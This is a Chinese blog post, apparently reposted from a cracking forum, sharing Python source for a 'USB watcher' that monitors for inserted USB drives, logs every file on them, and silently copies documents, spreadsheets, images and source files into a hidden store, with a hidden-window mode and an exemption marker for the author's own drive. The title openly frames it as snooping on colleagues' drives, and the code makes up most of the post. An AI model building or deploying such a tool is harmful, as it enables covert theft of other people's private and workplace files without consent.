python打造原創工具丨U盤監控者,同事U盤裡的那點事!

python打造原創工具丨U盤監控者,同事U盤裡的那點事!

近日用python做了個有趣的小工具,算是心血來潮寫了個能監聽U盤的軟件練練手,跟大家分享一下。

本人編程新手,本軟件有不足之處還煩請各位指出!

修正了無法隱藏窗口的bug

USB watcher /U盤窺視者(私信小編007即可自動獲取Python相關學習資料哦!)

本軟件僅供學習交流使用,禁止將本軟件用於違法用途!否則後果自負!

【功能】

1.監聽插入電腦的U盤,對U盤裡的文件進行遍歷並記錄

2.悄悄從U盤中拷貝指定後綴名、大小的文件

3.關於監聽的設置可以通過根目錄下的Config.ini文件自定義

4.加入了特徵碼機制,通過獲取U盤特徵碼與特徵碼庫比對,避免重複U盤的監聽

5.自帶防檢測設定,防止自己U盤被監聽

【程序運行界面】

python打造原創工具丨U盤監控者,同事U盤裡的那點事!

【其他】

1.特徵碼是獲取U盤根目錄下的文件計算得到的,所以子目錄裡的文件改變的話是不會觸發監聽的

2.如果不想讓自己的U盤被監聽,可以在U盤根目錄下新建一個名為 a.ico 的文件

3.本軟件是初學python的產物,勢必會存在其他bug或其他不足之處,煩請各位站內私信批評指正

4.因為實現原理簡單,再加上作者學藝不精,怕把源碼發上來誤人子弟……所以就不放源碼了。真有想看的可以站內私信我

5.本軟件僅僅實現上面【功能】中所描述的功能,並沒有其他危害計算機安全的行為,如有報毒純屬誤報

代碼:

python打造原創工具丨U盤監控者,同事U盤裡的那點事!


#初始設定
nowtime = time.strftime("%Y-%m-%d") #日誌生成時間
runtime = "["+time.strftime("%H:%M:%S")+']' #命令運行時間
oldcode = [] #初始特徵碼
disk = "h:\" #U盤所在盤符
save = "E:\\BlackTechnology\\USBwatcher\\Save\" #竊取文件儲存路徑
num = 0 #程序運行次數
partlist = ['.doc','.docx','.ppt','.pptx','.c','.txt','.pdf','.xls','.xlsx','.jpg','.jpeg','.png','.psd'] #初始竊取後綴列表
new_partlist = ".doc,.docx,.ppt,.pptx,.c,.txt,.pdf,.xls,.xlsx,.jpg,.jpeg,.png,.psd" #配置讀取初始列表
sleeptime = 10 #睡眠時間
log_path = 'E:\\BlackTechnology\\USBwatcher\\log\\' #日誌存儲目錄
copysize = 3 #單個文件大小上限(mb)
visible = 1 #控制檯可視化
flag_sameusb=0 #相同U盤檢測



#獲取時間
def gettime():
global runtime
runtime = "["+time.strftime("%H:%M:%S")+']'
nowtime = time.strftime("%Y-%m-%d")
return runtime

#爬蟲模塊
def spider(disk):
global num,log_name
log_name = log_name +'-'+ str(num)
try:
print(gettime()+'正在啟動爬蟲模塊....')
time.sleep(5)
if not os.path.exists(log_path):
os.makedirs(log_path)
#寫日誌文件
log = open(log_name+'.txt','w',encoding='utf-8')
print(gettime()+'爬蟲模塊運行中...')

time.sleep(5)
#爬蟲
for(root,dirs,files) in os.walk(disk):
cnum=len(root)
log.write('\n'+"#"* cnum + '#' +"\n")
log.write(root)
log.write('\n'+"#"* cnum + '#' +"\n")
for file in files:
filename = os.path.join(root,file)
log.write(filename+"\n")
log.close()
cnum = cnum + 1
print(gettime()+'日誌信息創建完畢.')
time.sleep(5)
except :
pass

#複製模塊
def thief(disk):
try:
global save,copysize,num
print(gettime()+"正在啟動複製模塊...")
time.sleep(10)
save = save+str(num)
os.makedirs(save)
for(root,dirs,files) in os.walk(disk):
for file in files:
filename = os.path.join(root,file)
part = os.path.splitext(file)
size = os.path.getsize(filename)
size = size / (1024*1024)
#print(filename+':'+str(size)+'\n')
#print(part[1],part)
if part[1] in partlist and size <= copysize:
if os.path.exists(os.path.join(save,root[3:])):
shutil.copyfile(filename,os.path.join(save,root[3:],file))
#print(os.path.join(save,root[3:],file))
else:
os.makedirs(os.path.join(save,root[3:]))
#print(os.path.join(save,root[3:],file))
shutil.copyfile(filename,os.path.join(save,root[3:],file))
print(gettime()+'正在複製',file)

else:
print(gettime()+'忽略文件',file)
except:
pass



#U盤特徵判斷
def USBif():
global num
global oldcode
if os.path.isfile(os.path.join(disk,'a.ico')):
print(gettime()+"檢測到自用U盤..")
return 0
codenum = 1 #
strcode = ''.join(os.listdir(disk))
strcode = strcode.encode(encoding="utf-8")
newcode = str(base64.b64encode(strcode))[3:11]
print(gettime()+'獲取到新特徵碼',newcode)
while(codenum<=int(num)):
getcode = config.get("Database",str(codenum))
print(gettime()+'檢索到特徵碼',getcode)
if getcode == newcode:
print(gettime()+'檢測到與配置文件中匹配的U盤特徵.')
return 0
else:
codenum = codenum +1

config.set("Database",str(int(num)+1),newcode)
config.write(open('config.ini','w'))
print(gettime()+"檢測到新U盤並寫入特徵.")

return 1

'''

if len(newcode) == len(oldcode):
return 0
else:
oldcode = newcode
log_name = log_name +'-'+ str(num)
num = num +1
'''


#print(os.listdir('.'))

#讀取配置
def readconfig():
print(gettime()+'正在讀取配置文件....')

if os.path.isfile(".\\config.ini") == True:
try:
global disk,save,copysize,sleeptime,partlist,log_path,num
config_disk = config.get("Setting","Disk")
config_save = config.get("Setting",'Save')
config_partlist = config.get("Setting","Partlist")
config_sleeptime = config.get("Setting","Sleeptime")
config_visible = config.get("Setting","Visible")
config_size = config.get('Setting','Size')
config_logpath = config.get("Setting","Log")
config_num = config.get("Setting",'Num')
#print(config_disk,config_save,config_partlist,config_sleeptime,config_visible)
disk = config_disk
save = config_save
copysize = float(config_size)
#print(config_size,copysize,disk,save)
sleeptime = config_sleeptime
partlist = config_partlist.split(",")
log_path = config_logpath
num = config_num
#print(disk,save,partlist)
except configparser.NoSectionError:
print(gettime()+"配置文件有誤..重新生成config.ini")
os.remove('config.ini')
readconfig()
else:
print(gettime()+'正在生成新的配置文件...')
time.sleep(5)
cfg=open('config.ini','w+')
config.read('.config.ini')
config.add_section("Setting")
config.set("Setting",'Disk',disk)
config.set("Setting",'Save',save)
config.set("Setting",'Partlist',new_partlist)
config.set("Setting",'Sleeptime',str(sleeptime))
config.set("Setting",'Visible',str(visible))
config.set("Setting",'Size',str(copysize))
config.set("Setting",'Log',log_path)
config.set('Setting','num',str(num))
config.add_section('Database')
config.set('Database','1','NULL')
config.write(cfg)
cfg.close()
print(gettime()+"配置文件生成完畢.")

'''
fileconfig = open("config.ini",'r')
disk=fileconfig.readline()[:-1]

save=fileconfig.readline()[:-1]
partlist=fileconfig.readline().split(",")[:-1]
'''


print("免責聲明:本軟件僅供學習交流使用,嚴禁用於非法用途。")
print("www.52pojie.cn by 吾愛破解 Key")
readconfig()
while (1):

while (os.path.exists(disk) == True):

log_name = log_path + nowtime
if USBif():

spider(disk)
thief(disk)
num=int(num)+1
print(gettime()+'更新配置信息...')
time.sleep(5)
#num = int(num) + 1
cfg=open('config.ini','w')
config.set('Setting','num',str(num))
config.write(cfg)
cfg.close()
print(gettime()+'配置信息更新完畢.')

else:
#print(gettime()+'')
flag_sameusb =1
time.sleep(5)
break
if flag_sameusb==0:
print(gettime()+"沒有檢測到U盤.程序進入休眠狀態,時間為",sleeptime,"s")
else:
print(gettime()+"程序進入休眠狀態,時間為",sleeptime,"s")
flag_sameusb = 0
time.sleep(float(sleeptime))

python打造原創工具丨U盤監控者,同事U盤裡的那點事!


分享到:


相關文章: